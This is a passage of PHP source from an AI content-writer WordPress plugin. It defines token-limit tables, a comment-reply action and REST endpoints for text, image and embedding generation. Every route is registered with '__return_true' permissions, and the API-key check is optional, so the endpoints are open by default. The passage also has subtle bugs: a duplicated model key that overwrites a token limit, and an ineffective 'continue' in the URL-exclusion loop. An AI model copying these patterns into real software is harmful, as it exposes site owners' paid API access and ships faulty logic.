                    $aiomatic_seo_option = false;
                    $seo_plugin_activated = aiomatic_seo_plugins_active();
                    if($seo_plugin_activated !== false) 
                    {
                        $aiomatic_seo_option = get_option($seo_plugin_activated, false);
                    }
                    if(!empty($aiomatic_meta_description) && !$aiomatic_seo_option)
                    {
                        ?>
                        <meta name="description" content="<?php echo esc_html($aiomatic_meta_description)?>">
                        <meta name="og:description" content="<?php echo esc_html($aiomatic_meta_description)?>">
                        <?php
                    }
                }
            }
            add_filter('comment_row_actions','aiomatic_comment_action', 10, 2);
            add_action('admin_footer','aiomatic_comment_scripts');
            function aiomatic_comment_action($actions, $post)
            {
                if(current_user_can('access_aiomatic_menu')) {
                    $actions['aiomatic_commenter'] = sprintf('<a id="aiomatic_comment_replier" class="aiomatic_comment_replier" href="javascript:void(0)" data-id="%s">%s</a>',
                    esc_attr($post->comment_ID),
                    esc_html__('AI Generated Reply', 'aiomatic-automatic-ai-content-writer'));
                }
                return $actions;
            }
            function aiomatic_comment_scripts()
            {
                if(current_user_can('access_aiomatic_menu')) {
                    $name = md5(get_bloginfo());
                    wp_enqueue_script($name . '-commenter-script', plugins_url('scripts/ai-commenter.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                    $footer_conf_settings = array(
                        'nonce' => wp_create_nonce('openai-comment-nonce'),
                        'ajaxurl' => admin_url('admin-ajax.php'),
                        'aireplytext' => esc_html__('AI Generated Reply', 'aiomatic-automatic-ai-content-writer'),
                        'processingtext' => esc_html__('This process was already started!', 'aiomatic-automatic-ai-content-writer'),
                        'cannotfind' => esc_html__('Cannot find this comment ID!', 'aiomatic-automatic-ai-content-writer'),
                        'working' => esc_html__('Working...', 'aiomatic-automatic-ai-content-writer')
                    );
                    wp_localize_script($name . '-commenter-script', 'mycommentssettings', $footer_conf_settings);
                }
            }
            function aiomatic_get_max_tokens($model)
            {
                $model_tokens = array(
                    'gpt-4-1106-preview' => 4000, //4096 for output, 128000 for input
                    'gpt-4-0125-preview' => 4000, //4096 for output, 128000 for input
                    'gpt-4-turbo-preview' => 4000, //4096 for output, 128000 for input
                    'gpt-4-turbo' => 4000, //4096 for output, 128000 for input
                    'gpt-4-turbo-2024-04-09' => 4000, //4096 for output, 128000 for input
                    'gpt-4o' => 4000, //4096 for output, 128000 for input
                    'gpt-4o-2024-05-13' => 4000, //4096 for output, 128000 for input
                    'gpt-4o-mini' => 4000, //4096 for output, 128000 for input
                    'gpt-4o-mini-2024-07-18' => 4000, //4096 for output, 128000 for input
                    'gpt-3.5-turbo-0125' => 4000, //4096,
                    'gpt-4-vision-preview' => 4000, //4096 for output, 128000 for input
                    'gpt-4' => 8100, //8192,
                    'gpt-4-32k' => 32600, //32768,
                    'gpt-4-0613' => 8100, //8192,
                    'gpt-4-32k-0613' => 32600, //32768,
                    'gpt-4-0314' => 8100, //8192,
                    'gpt-4-32k-0314' => 32600, //32768,
                    'gpt-3.5-turbo-1106' => 4000, //4096,
                    'gpt-4o-mini' => 4000, //4096,
                    'gpt-3.5-turbo-16k' => 16200, //16385,
                    'gpt-3.5-turbo-instruct' => 4000, //4096,
                    'gpt-3.5-turbo-0613' => 4000, //4096,
                    'gpt-3.5-turbo-16k-0613' => 16200, //16385,
                    'gpt-3.5-turbo-0301' => 4000, //4096,
                    'text-davinci-003' => 4000, //4096,
                    'text-davinci-002' => 4000, //4096,
                    'code-davinci-002' => 8000, //8001,
                    'text-moderation-latest' => 32600, //32768,
                    'text-moderation-stable' => 32600, //32768,
                    'babbage-002' => 16200, //16385,
                    'davinci-002' => 16200, //16385,
                    'text-curie-001' => 2000, //2049,
                    'text-babbage-001' => 2000, //2049,
                    'text-ada-001' => 2000, //2049,
                    'davinci' => 2000, //2049,
                    'curie' => 2000, //2049,
                    'babbage' => 2000, //2049,
                    'ada' => 2000, //2049,
                    'text-davinci-edit-001' => 4000, //4096,
                    'code-davinci-edit-001' => 4000, //4096,
                    'text-embedding-ada-002' => 8000, //8191,
                    'text-embedding-3-small' => 8000, //8191,
                    'text-embedding-3-large' => 8000, //8191,
                    'claude-instant-1' => 4000, //4096,
                    'claude-instant-1.2' => 4000, //4096,
                    'claude-2.0' => 4000, //4096,
                    'claude-2.1' => 4000, //4096,
                    'claude-3-opus-20240229' => 4000, //4096,
                    'claude-3-sonnet-20240229' => 4000, //4096,
                    'claude-3-haiku-20240307' => 4000, //4096,
                    'claude-3-5-sonnet-20240620' => 4000, //4096,
                    //google api limits https://cloud.google.com/vertex-ai/docs/generative-ai/learn/models#foundation_models
                    'gemini-pro' => 8100, //8191,
                    'gemini-1.5-pro-latest' => 8100, //8191,
                    'gemini-1.0-pro' => 8100, //8191,
                    'gemini-1.5-flash-latest' => 8100, //8191,
                    'chat-bison-001' => 1000, //1024,
                    'text-bison-001' => 1000, //1024,
                    'embedding-001' => 2048, //2048,
                    'text-embedding-004' => 2048, //2048,
                );
                $model_tokens = array_merge($model_tokens, aiomatic_get_openrouter_model_tokens());
                if(isset($model_tokens[$model]))
                {
                    return $model_tokens[$model];
                }
                return AIOMATIC_DEFAULT_MAX_TOKENS;
            }
            function aiomatic_get_max_input_tokens($model)
            {
                $model_tokens = array(
                    'gpt-4-1106-preview' => 128000, //4096 for output, 128000 for input
                    'gpt-4-0125-preview' => 128000, //4096 for output, 128000 for input
                    'gpt-4-turbo-preview' => 128000, //4096 for output, 128000 for input
                    'gpt-4-turbo' => 128000, //4096 for output, 128000 for input
                    'gpt-4-turbo-2024-04-09' => 128000, //4096 for output, 128000 for input
                    'gpt-4o' => 128000, //4096 for output, 128000 for input
                    'gpt-4o-2024-05-13' => 128000, //4096 for output, 128000 for input
                    'gpt-4o-mini' => 128000, //4096 for output, 128000 for input
                    'gpt-4o-mini-2024-07-18' => 128000, //4096 for output, 128000 for input
                    'gpt-3.5-turbo-0125' => 16385, //4096,
                    'gpt-4-vision-preview' => 128000, //4096 for output, 128000 for input
                    'gpt-4' => 8192, //8192,
                    'gpt-4-32k' => 32768, //32768,
                    'gpt-4-0613' => 8192, //8192,
                    'gpt-4-32k-0613' => 32768, //32768,
                    'gpt-4-0314' => 8192, //8192,
                    'gpt-4-32k-0314' => 32768, //32768,
                    'gpt-3.5-turbo-1106' => 16385, //4096, 16385 for input
                    'gpt-4o-mini' => 4096, //4096,
                    'gpt-3.5-turbo-16k' => 16385, //16385,
                    'gpt-3.5-turbo-instruct' => 4096, //4096,
                    'gpt-3.5-turbo-0613' => 4096, //4096,
                    'gpt-3.5-turbo-16k-0613' => 16385, //16385,
                    'gpt-3.5-turbo-0301' => 4096, //4096,
                    'text-davinci-003' => 4096, //4096,
                    'text-davinci-002' => 4096, //4096,
                    'code-davinci-002' => 8001, //8001,
                    'text-moderation-latest' => 32768, //32768,
                    'text-moderation-stable' => 32768, //32768,
                    'babbage-002' => 16385, //16385,
                    'davinci-002' => 16385, //16385,
                    'text-curie-001' => 2049, //2049,
                    'text-babbage-001' => 2049, //2049,
                    'text-ada-001' => 2049, //2049,
                    'davinci' => 2049, //2049,
                    'curie' => 2049, //2049,
                    'babbage' => 2049, //2049,
                    'ada' => 2049, //2049,
                    'text-davinci-edit-001' => 4096, //4096,
                    'code-davinci-edit-001' => 4096, //4096,
                    'text-embedding-ada-002' => 8000, //8191,
                    'text-embedding-3-small' => 8000, //8191,
                    'text-embedding-3-large' => 8000, //8191,
                    'claude-instant-1' => 99800, //100000,
                    'claude-instant-1.2' => 99800, //100000,
                    'claude-2.0' => 99800, //100000,
                    'claude-2.1' => 199800, //200000,
                    'claude-3-opus-20240229' => 199800, //200000,
                    'claude-3-sonnet-20240229' => 199800, //200000,
                    'claude-3-haiku-20240307' => 199800, //200000,
                    'claude-3-5-sonnet-20240620' => 199800, //200000,
                    //google api limits https://cloud.google.com/vertex-ai/docs/generative-ai/learn/models#foundation_models
                    'gemini-pro' => 31000, //32768,
                    'gemini-1.0-pro' => 32000, //32760,
                    'gemini-1.5-pro-latest' => 999000, //1000000,
                    'gemini-1.5-flash-latest' => 999000, //1000000,
                    'chat-bison-001' => 8192, //8192,
                    'text-bison-001' => 8192, //8192,
                    'embedding-001' => 2048, //2048,
                    'text-embedding-004' => 2048, //2048,
                );
                $model_tokens = array_merge($model_tokens, aiomatic_get_openrouter_model_tokens());
                if(isset($model_tokens[$model]))
                {
                    return $model_tokens[$model];
                }
                return AIOMATIC_DEFAULT_MAX_TOKENS;
            }
            function aiomatic_get_max_input_tokens_openrouter($model)
            {
                static $openrouter_arr = false;
                if($openrouter_arr === false)
                {
                    try
                    {
                        $openrouter_arr = aiomatic_get_openrouter_models();
                        if($openrouter_arr !== false)
                        {
                            foreach($openrouter_arr['source_list'] as $smodel)
                            {
                                if($model === $smodel['model'])
                                {
                                    return $smodel['maxContextualTokens'];
                                }
                            }
                        }
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to list OpenRouter models: ' . $e->getMessage());
                    }
                }
                return AIOMATIC_DEFAULT_MAX_TOKENS;
            }
            function aiomatic_get_openrouter_model_tokens()
            {
                return array(
                    'codellama-34b-instruct' => 16000,
                    'codellama-70b-instruct' => 16000,
                    'llama-2-70b-chat' => 4000,
                    'mistral-7b-instruct' => 4000,
                    'mixtral-8x7b-instruct' => 4000,
                    'pplx-7b-chat' => 8100,
                    'pplx-70b-chat' => 4000,
                    'pplx-7b-online' => 4000,
                    'pplx-70b-online' => 4000,
                );
            }
            function aiomatic_get_max_input_tokens_perplexity($model)
            {
                static $perplexity_arr = AIOMATIC_PERPLEXITY_MODELS;
                if(!in_array($model, $perplexity_arr))
                {
                    return AIOMATIC_DEFAULT_MAX_TOKENS;
                }
                $ppmodel_tokens = aiomatic_get_openrouter_model_tokens();
                if(isset($ppmodel_tokens[$model]))
                {
                    return $ppmodel_tokens[$model];
                }
                return AIOMATIC_DEFAULT_MAX_TOKENS;
            }
            function aiomatic_get_max_output_tokens_openrouter($model)
            {
                static $openrouter_arr = false;
                if($openrouter_arr === false)
                {
                    try
                    {
                        $openrouter_arr = aiomatic_get_openrouter_models();
                        if($openrouter_arr !== false)
                        {
                            foreach($openrouter_arr['source_list'] as $smodel)
                            {
                                if($model === $smodel['model'])
                                {
                                    return $smodel['maxCompletionTokens'];
                                }
                            }
                        }
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to list OpenRouter models: ' . $e->getMessage());
                    }
                }
                return AIOMATIC_DEFAULT_MAX_TOKENS;
            }
            function aiomatic_sanitize_ai_result($generated_text)
            {
                if(is_string($generated_text))
                {
                    $generated_text = trim($generated_text);
                    if (($generated_text[0] === '"' && $generated_text[strlen($generated_text) - 1] === '"') ||
                        ($generated_text[0] === '\'' && $generated_text[strlen($generated_text) - 1] === '\'')) 
                    {
                        $generated_text = substr($generated_text, 1, -1);
                        $generated_text = trim($generated_text);
                    } 
                    else 
                    {
                        $generated_text = $generated_text;
                    }
                }
                return $generated_text;
            }
            function aiomatic_load_textdomain() 
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') 
                {
                    if (isset($aiomatic_Main_Settings['assistant_disable']) && ($aiomatic_Main_Settings['assistant_disable'] == 'front' || $aiomatic_Main_Settings['assistant_disable'] == 'both'))
                    {
                        add_filter("mce_external_plugins", "aiomatic_enqueue_plugin_scripts");
                        add_action('wp_head', 'aiomatic_classic_mce_inline_script_always');
                        add_filter("mce_buttons", "aiomatic_register_buttons_editor");
                    }
                    
                    if (isset($aiomatic_Main_Settings['enable_wpcli']) && trim($aiomatic_Main_Settings['enable_wpcli']) != '')
                    {
                        if ( defined( 'WP_CLI' ) && WP_CLI )
                        {
                            WP_CLI::add_command( 'aicontent', 'aiomatic_wpcli_add' );
                        }
                    }
                    if (isset($aiomatic_Main_Settings['rest_api_init']) && trim($aiomatic_Main_Settings['rest_api_init']) != '')
                    {
                        add_action( 'rest_api_init', function () 
                        {
                            register_rest_route( 'aiomatic', 'v1/models', array(
                            'methods' => ['GET', 'POST'],
                            'callback' => 'aiomatic_rest_list_models',
                            'permission_callback' => '__return_true'
                            ) );
                        });
                        add_action( 'rest_api_init', function () 
                        {
                            register_rest_route( 'aiomatic', 'v1/assistants', array(
                            'methods' => ['GET', 'POST'],
                            'callback' => 'aiomatic_rest_list_assistants',
                            'permission_callback' => '__return_true'
                            ) );
                        });
                        add_action( 'rest_api_init', function () 
                        {
                            register_rest_route( 'aiomatic', 'v1/text', array(
                            'methods' => ['GET', 'POST'],
                            'callback' => 'aiomatic_rest_generate_text',
                            'permission_callback' => '__return_true'
                            ) );
                        });
                        add_action( 'rest_api_init', function () 
                        {
                            register_rest_route( 'aiomatic', 'v1/embeddings', array(
                            'methods' => ['GET', 'POST'],
                            'callback' => 'aiomatic_rest_generate_embedding',
                            'permission_callback' => '__return_true'
                            ) );
                        });
                        add_action( 'rest_api_init', function () 
                        {
                            register_rest_route( 'aiomatic', 'v1/image', array(
                            'methods' => ['GET', 'POST'],
                            'callback' => 'aiomatic_rest_generate_image',
                            'permission_callback' => '__return_true'
                            ) );
                        });
                    }
                    $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                    $appids = array_filter($appids);
                    $token = $appids[array_rand($appids)];
                    require_once(dirname(__FILE__) . "/res/Embeddings.php");
                    new Aiomatic_Embeddings($token);
                    if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] === 'on') 
                    {
                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                        if (isset($aiomatic_Chatbot_Settings['enable_front_end']) && $aiomatic_Chatbot_Settings['enable_front_end'] != '') 
                        {
                            if(($aiomatic_Chatbot_Settings['enable_front_end'] === 'front' || $aiomatic_Chatbot_Settings['enable_front_end'] === 'both'))
                            {
                                add_action( 'wp_footer', 'aiomatic_inject_chat' );
                            }
                            if(($aiomatic_Chatbot_Settings['enable_front_end'] === 'back' || $aiomatic_Chatbot_Settings['enable_front_end'] === 'both'))
                            {
                                add_action( 'admin_footer', 'aiomatic_inject_chat_admin' );
                            }
                        }
                    }
                }
                load_plugin_textdomain( 'aiomatic-automatic-ai-content-writer', false, basename( dirname( __FILE__ ) ) . '/languages' ); 
            }
            add_action( 'init', 'aiomatic_load_textdomain' );
            
            function aiomatic_rest_list_models() 
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $err = array();
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') 
                {
                    if (isset($aiomatic_Main_Settings['rest_api_init']) && $aiomatic_Main_Settings['rest_api_init'] == 'on') 
                    {
                        if (isset($aiomatic_Main_Settings['rest_api_keys']) && trim($aiomatic_Main_Settings['rest_api_keys']) != '') 
                        {
                            $api_key = '';
                            if(isset($_GET['apikey']))
                            {
                                $api_key = trim($_GET['apikey']);
                            }
                            elseif(isset($_POST['apikey']))
                            {
                                $api_key = trim($_POST['apikey']);
                            }
                            $rest_api_keys = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['rest_api_keys']));
                            $rest_api_keys = array_map('trim', $rest_api_keys);
                            $rest_api_keys = array_filter($rest_api_keys);
                            if(empty($api_key))
                            {
                                $err['success'] = false;
                                $err['error'] = 'You need to specify an API key for this request';
                                return $err;
                            }
                            else
                            {
                                if(!in_array($api_key, $rest_api_keys))
                                {
                                    $err['success'] = false;
                                    $err['error'] = 'Invalid API key provided';
                                    return $err;
                                }
                            }
                        }
                        $all_models = aiomatic_get_all_models(true);
                        $err['success'] = true;
                        $err['models'] = $all_models;
                        return $err;
                    } 
                    else 
                    {
                        $err['success'] = false;
                        $err['error'] = 'Aiomatic REST API not enabled';
                        return $err;
                    }
                }
                else 
                {
                    $err['success'] = false;
                    $err['error'] = 'Aiomatic not enabled';
                    return $err;
                }
            }
            function aiomatic_rest_list_assistants() 
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $err = array();
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') 
                {
                    if (isset($aiomatic_Main_Settings['rest_api_init']) && $aiomatic_Main_Settings['rest_api_init'] == 'on') 
                    {
                        if (isset($aiomatic_Main_Settings['rest_api_keys']) && trim($aiomatic_Main_Settings['rest_api_keys']) != '') 
                        {
                            $api_key = '';
                            if(isset($_GET['apikey']))
                            {
                                $api_key = trim($_GET['apikey']);
                            }
                            elseif(isset($_POST['apikey']))
                            {
                                $api_key = trim($_POST['apikey']);
                            }
                            $rest_api_keys = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['rest_api_keys']));
                            $rest_api_keys = array_map('trim', $rest_api_keys);
                            $rest_api_keys = array_filter($rest_api_keys);
                            if(empty($api_key))
                            {
                                $err['success'] = false;
                                $err['error'] = 'You need to specify an API key for this request';
                                return $err;
                            }
                            else
                            {
                                if(!in_array($api_key, $rest_api_keys))
                                {
                                    $err['success'] = false;
                                    $err['error'] = 'Invalid API key provided';
                                    return $err;
                                }
                            }
                        }
                        $all_assistants = aiomatic_get_all_assistants(true);
                        $assarra = array();
                        if(is_array($all_assistants))
                        {
                            foreach($all_assistants as $tas)
                            {
                                $assarra[$tas->ID] = $tas->post_title;
                            }
                        }
                        $err['success'] = true;
                        $err['assistants'] = $assarra;
                        return $err;
                    } 
                    else 
                    {
                        $err['success'] = false;
                        $err['error'] = 'Aiomatic REST API not enabled';
                        return $err;
                    }
                }
                else 
                {
                    $err['success'] = false;
                    $err['error'] = 'Aiomatic not enabled';
                    return $err;
                }
            }
            function aiomatic_rest_generate_text() 
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $err = array();
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') 
                {
                    if (isset($aiomatic_Main_Settings['rest_api_init']) && $aiomatic_Main_Settings['rest_api_init'] == 'on') 
                    {
                        if (isset($aiomatic_Main_Settings['rest_api_keys']) && trim($aiomatic_Main_Settings['rest_api_keys']) != '') 
                        {
                            $api_key = '';
                            if(isset($_GET['apikey']))
                            {
                                $api_key = trim($_GET['apikey']);
                            }
                            elseif(isset($_POST['apikey']))
                            {
                                $api_key = trim($_POST['apikey']);
                            }
                            $rest_api_keys = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['rest_api_keys']));
                            $rest_api_keys = array_map('trim', $rest_api_keys);
                            $rest_api_keys = array_filter($rest_api_keys);
                            if(empty($api_key))
                            {
                                $err['success'] = false;
                                $err['error'] = 'You need to specify an API key for this request';
                                return $err;
                            }
                            else
                            {
                                if(!in_array($api_key, $rest_api_keys))
                                {
                                    $err['success'] = false;
                                    $err['error'] = 'Invalid API key provided';
                                    return $err;
                                }
                            }
                        }
                        if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') 
                        {
                            if(!isset($_REQUEST['prompt']))
                            {
                                $err['success'] = false;
                                $err['error'] = 'Parameter missing: prompt';
                                return $err;
                            }
                            if(isset($_REQUEST['model']))
                            {
                                $model = $_REQUEST['model'];
                            }
                            else
                            {
                                $model = AIOMATIC_DEFAULT_MODEL;
                            }
                            if(isset($_REQUEST['assistant']))
                            {
                                $assistant = $_REQUEST['assistant'];
                            }
                            else
                            {
                                $assistant = '';
                            }
                            $prompt = $_REQUEST['prompt'];
                            $all_models = aiomatic_get_all_models(true);
                            if(!in_array($model, $all_models))
                            {
                                $model = get_default_model_name($aiomatic_Main_Settings);
                            }
                            $query_token_count = count(aiomatic_encode($prompt));
                            $max_tokens = aiomatic_get_max_tokens($model);
                            $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                            {
                                $string_len = strlen($prompt);
                                $string_len = $string_len / 2;
                                $string_len = intval(0 - $string_len);
                                $prompt = aiomatic_substr($prompt, 0, $string_len);
                                $prompt = trim($prompt);
                                $query_token_count = count(aiomatic_encode($prompt));
                                $available_tokens = $max_tokens - $query_token_count;
                            }
                            if(!empty($prompt))
                            {
                                $GLOBALS['aiomatic_stats'] = new Aiomatic_Statistics();
                                $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                                $appids = array_filter($appids);
                                $token = $appids[array_rand($appids)];
                                $thread_id = '';
                                $aierror = '';
                                $finish_reason = '';
                                $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'api', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant, $thread_id, '', 'disabled', '', false);
                                if($generated_text === false)
                                {
                                    $err['success'] = false;
                                    $err['error'] = 'Failed to generate the AI reply, error: ' . $aierror;
                                    return $err;
                                }
                                else
                                {
                                    $generated_text = aiomatic_sanitize_ai_result($generated_text);
                                    if(empty($generated_text))
                                    {
                                        $err['success'] = false;
                                        $err['error'] = 'Empty AI response returned!';
                                        return $err;
                                    }
                                    else
                                    {
                                        $err['success'] = true;
                                        $err['data'] = $generated_text;
                                        $err['input_tokens'] = $query_token_count;
                                        $result_token_count = count(aiomatic_encode($generated_text));
                                        $err['output_tokens'] = $result_token_count;
                                        return $err;
                                    }
                                }
                            }
                            else
                            {
                                $err['success'] = false;
                                $err['error'] = 'Empty AI prompt provided!';
                                return $err;
                            }
                        }
                        else
                        {
                            $err['success'] = false;
                            $err['error'] = 'You need to add an AI API key in the Aiomatic plugin\'s settings for this to work!';
                            return $err;
                        }
                    } 
                    else 
                    {
                        $err['success'] = false;
                        $err['error'] = 'Aiomatic REST API not enabled';
                        return $err;
                    }
                }
                else 
                {
                    $err['success'] = false;
                    $err['error'] = 'Aiomatic not enabled';
                    return $err;
                }
            }
            function aiomatic_rest_generate_image() 
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $err = array();
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') 
                {
                    if (isset($aiomatic_Main_Settings['rest_api_init']) && $aiomatic_Main_Settings['rest_api_init'] == 'on') 
                    {
                        if (isset($aiomatic_Main_Settings['rest_api_keys']) && trim($aiomatic_Main_Settings['rest_api_keys']) != '') 
                        {
                            $api_key = '';
                            if(isset($_GET['apikey']))
                            {
                                $api_key = trim($_GET['apikey']);
                            }
                            elseif(isset($_POST['apikey']))
                            {
                                $api_key = trim($_POST['apikey']);
                            }
                            $rest_api_keys = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['rest_api_keys']));
                            $rest_api_keys = array_map('trim', $rest_api_keys);
                            $rest_api_keys = array_filter($rest_api_keys);
                            if(empty($api_key))
                            {
                                $err['success'] = false;
                                $err['error'] = 'You need to specify an API key for this request';
                                return $err;
                            }
                            else
                            {
                                if(!in_array($api_key, $rest_api_keys))
                                {
                                    $err['success'] = false;
                                    $err['error'] = 'Invalid API key provided';
                                    return $err;
                                }
                            }
                        }
                        if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') 
                        {
                            if(!isset($_REQUEST['prompt']))
                            {
                                $err['success'] = false;
                                $err['error'] = 'Parameter missing: prompt';
                                return $err;
                            }
                            if(isset($_REQUEST['model']))
                            {
                                $model = $_REQUEST['model'];
                            }
                            else
                            {
                                $model = AIOMATIC_DEFAULT_IMAGE_MODEL;
                            }
                            $prompt = $_REQUEST['prompt'];
                            $all_models = AIOMATIC_DALLE_IMAGE_MODELS;
                            if(!in_array($model, $all_models))
                            {
                                $model = AIOMATIC_DEFAULT_IMAGE_MODEL;
                            }
                            if(!empty($prompt))
                            {
                                $GLOBALS['aiomatic_stats'] = new Aiomatic_Statistics();
                                $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                                $appids = array_filter($appids);
                                $token = $appids[array_rand($appids)];
                                $aierror = '';
                                $image_size = '1024x1024';
                                $result = aiomatic_generate_ai_image($token, 1, $prompt, $image_size, 'apiImage', true, 0, $aierror, $model);
                                if($result === false)
                                {
                                    $err['success'] = false;
                                    $err['error'] = 'Failed to generate the AI reply, error: ' . $aierror;
                                    return $err;
                                }
                                else
                                {
                                    $err['success'] = true;
                                    $err['data'] = $result[0];
                                    return $err;
                                }
                            }
                            else
                            {
                                $err['success'] = false;
                                $err['error'] = 'Empty AI prompt provided!';
                                return $err;
                            }
                        }
                        else
                        {
                            $err['success'] = false;
                            $err['error'] = 'You need to add an AI API key in the Aiomatic plugin\'s settings for this to work!';
                            return $err;
                        }
                    } 
                    else 
                    {
                        $err['success'] = false;
                        $err['error'] = 'Aiomatic REST API not enabled';
                        return $err;
                    }
                }
                else 
                {
                    $err['success'] = false;
                    $err['error'] = 'Aiomatic not enabled';
                    return $err;
                }
            }
            function aiomatic_rest_generate_embedding() 
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $err = array();
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') 
                {
                    if (isset($aiomatic_Main_Settings['rest_api_init']) && $aiomatic_Main_Settings['rest_api_init'] == 'on') 
                    {
                        if (isset($aiomatic_Main_Settings['rest_api_keys']) && trim($aiomatic_Main_Settings['rest_api_keys']) != '') 
                        {
                            $api_key = '';
                            if(isset($_GET['apikey']))
                            {
                                $api_key = trim($_GET['apikey']);
                            }
                            elseif(isset($_POST['apikey']))
                            {
                                $api_key = trim($_POST['apikey']);
                            }
                            $rest_api_keys = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['rest_api_keys']));
                            $rest_api_keys = array_map('trim', $rest_api_keys);
                            $rest_api_keys = array_filter($rest_api_keys);
                            if(empty($api_key))
                            {
                                $err['success'] = false;
                                $err['error'] = 'You need to specify an API key for this request';
                                return $err;
                            }
                            else
                            {
                                if(!in_array($api_key, $rest_api_keys))
                                {
                                    $err['success'] = false;
                                    $err['error'] = 'Invalid API key provided';
                                    return $err;
                                }
                            }
                        }
                        if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') 
                        {
                            if(!isset($_REQUEST['prompt']))
                            {
                                $err['success'] = false;
                                $err['error'] = 'Parameter missing: prompt';
                                return $err;
                            }
                            if(isset($_REQUEST['model']))
                            {
                                $model = $_REQUEST['model'];
                            }
                            else
                            {
                                $model = AIOMATIC_DEFAULT_MODEL_EMBEDDING;
                            }
                            $prompt = $_REQUEST['prompt'];
                            $all_models = AIOMATIC_EMBEDDINGS_MODELS;
                            if(!in_array($model, $all_models))
                            {
                                $model = AIOMATIC_DEFAULT_MODEL_EMBEDDING;
                            }
                            if(!empty($prompt))
                            {
                                $GLOBALS['aiomatic_stats'] = new Aiomatic_Statistics();
                                $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                                $appids = array_filter($appids);
                                $token = $appids[array_rand($appids)];
                                require_once(dirname(__FILE__) . "/res/Embeddings.php");
                                $embdedding = new Aiomatic_Embeddings($token);
                                $result = $embdedding->aiomatic_get_embedding_data($prompt, $model);
                                return $result;
                            }
                            else
                            {
                                $err['success'] = false;
                                $err['error'] = 'Empty AI prompt provided!';
                                return $err;
                            }
                        }
                        else
                        {
                            $err['success'] = false;
                            $err['error'] = 'You need to add an AI API key in the Aiomatic plugin\'s settings for this to work!';
                            return $err;
                        }
                    } 
                    else 
                    {
                        $err['success'] = false;
                        $err['error'] = 'Aiomatic REST API not enabled';
                        return $err;
                    }
                }
                else 
                {
                    $err['success'] = false;
                    $err['error'] = 'Aiomatic not enabled';
                    return $err;
                }
            }
            function aiomatic_check_additional_chats(&$chatfound, $aiomatic_Chatbot_Settings)
            {
                if(isset($aiomatic_Chatbot_Settings['aiomatic_chat_json']) && !empty(isset($aiomatic_Chatbot_Settings['aiomatic_chat_json'])))
                {
                    $jsdec = json_decode($aiomatic_Chatbot_Settings['aiomatic_chat_json']);
                    if($jsdec != null)
                    {
                        foreach($jsdec as $dataid => $value)
                        {
                            $data = $value->data;
                            if (isset($data->not_show_urls) && trim($data->not_show_urls) != '') 
                            {
                                $no_show_urls = preg_split('/\r\n|\r|\n/', trim($data->not_show_urls));
                                $no_show_urls = array_filter($no_show_urls);
                                if(count($no_show_urls) > 0)
                                {
                                    global $wp;
                                    $current_url = home_url( $wp->request );
                                    foreach($no_show_urls as $nsurl)
                                    {
                                        if(rtrim($current_url, '/') == rtrim(trim($nsurl), '/'))
                                        {
                                            continue;
                                        }
                                    }
                                }
                            }
                            if (isset($data->only_show_urls) && trim($data->only_show_urls) != '') 
                            {
                                $only_show_urls = preg_split('/\r\n|\r|\n/', trim($data->only_show_urls));
                                $only_show_urls = array_filter($only_show_urls);
                                if(count($only_show_urls) > 0)
                                {
                                    $url_found = false;
                                    global $wp;
                                    $current_url = home_url( $wp->request );
                                    foreach($only_show_urls as $nsurl)
                                    {
                                        if(rtrim($current_url, '/') == rtrim(trim($nsurl), '/'))
                                        {
                                            $url_found = true;
                                        }
                                    }
                                    if($url_found === false)
                                    {
                                        continue;
                                    }
                                }
                            }
                            if (isset($data->never_show) && is_array($data->never_show)) 
                            {
                                $this_day = date('l');
                                if(in_array($this_day, $data->never_show))
                                {
                                    continue;
                                }
                            }
                            if (isset($data->show_content_wp) && is_array($data->show_content_wp) && !empty($data->show_content_wp)) 
                            {
                                $post_chars = aiomatic_get_post_characteristics();
                                $fnd = false;
                                foreach($data->show_content_wp as $showme)
                                {
                                    if(in_array($showme, $post_chars))
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
